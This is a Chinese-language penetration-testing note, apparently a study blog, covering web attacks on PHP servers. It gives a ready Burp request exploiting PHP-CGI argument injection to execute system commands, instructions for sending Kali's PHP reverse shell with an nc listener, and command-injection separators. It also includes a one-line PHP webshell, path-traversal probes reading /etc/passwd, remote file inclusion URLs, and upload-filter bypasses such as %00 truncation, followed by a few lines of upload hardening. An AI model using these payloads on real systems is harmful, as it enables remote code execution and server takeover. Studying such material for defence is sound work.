手动挖掘原则

  • 所有变量
  • 所有头
    cookie中的变量
    +逐个变量删除

默认安装漏洞

  • windows默认安装漏洞
  • phpMyAdmin/setup
  • Ubuntu/Debian 默认安装 PHP5-cgi
  • 可直接访问 /cgi-bin/php5 和 /cgi-bin/php
    1
    2
    3
    4
    5
    6
    POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    Host: 192.168.20.10

    passthru('ls');
    die();
    ?>

以上这段放在Burpsuite的Repeater重放攻击,修改主机地址和目标ip地址,就能实现攻击,在php代码里面修改命令就能看到该服务器权限下能执行的命令结果

php反弹shell
它在kali的位置
/usr/share/webshells/php/php-reverse-shell.php
修改一下,把IP换成本机的IP地址
然后将所有内容复制下来复制到在burpsuite的body中

如配置文件中侦听对应的端口nc -nvvlp 1234再发送请求,就能在终端看到信息了


接下来输入的系统指令只要有权限就能执行

命令行注入漏洞

如果网站有直接调用系统指令,如ping之类,可以用以下指令注入

1
2
3
4
; 分号,代表与指令分隔  例:ping 172.16.242.128;ls 执行完ping之后就执行ls
&& 双与,代表前面一个指令成功后,才能执行后面一个指令 例:ping 172.16.242.128&&ls 在ping指令成功后才会执行ls
& 单与,代表两条命令同时执行
|| 双或,代表当前面一个命令执行失败,才执行后面一个指令

目录权限限制不严/文件包含漏洞

针对运行php的服务器的远程文件包含漏洞,需要服务器的/etc/php5/cgi/php.ini中allow_url_include=On,然后重启apache服务器才有用

一句话木马
<?php echo shell_exec($_GET['cmd']); ?>
特征但不绝对:

1
2
3
?page=a.php
?home=b.html
?file=content

经典测试方法:

1
2
3
4
5
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt

绕过字符过滤

1
2
3
4
5
. 点,有一些应用对图片判断是以.png结尾,来判断是不是一张图片的,这个时候只需要 a.php.png,就能绕过检查
%00 空,作为截断,有一些应用的文件检查是从头开始检查的,如果遇到%00,就表示结束,不会再继续,例如a.doc%00.php ,实际上是一个php文件,
但是应用的检查以为是doc文件
在请求中插入过滤 如果服务器过滤链接http://这串字符,这个时候只需要在这串字符中间再插入这串字符,如在h插入,变成hhttp://ttp://这样
服务器就会过滤掉中间的http://,并把过滤后的字符串拼接回去

kali攻击字典放在
/usr/share/wfuzz/wordlist/vulns

文件上传漏洞

1
2
将文件名后缀修改
截断代理,将content-type修改为允许的类型

怎么解决文件上传漏洞

1
2
3
限制上传目录的权限
修改上传后文件的命名
模糊上传文件目录的路径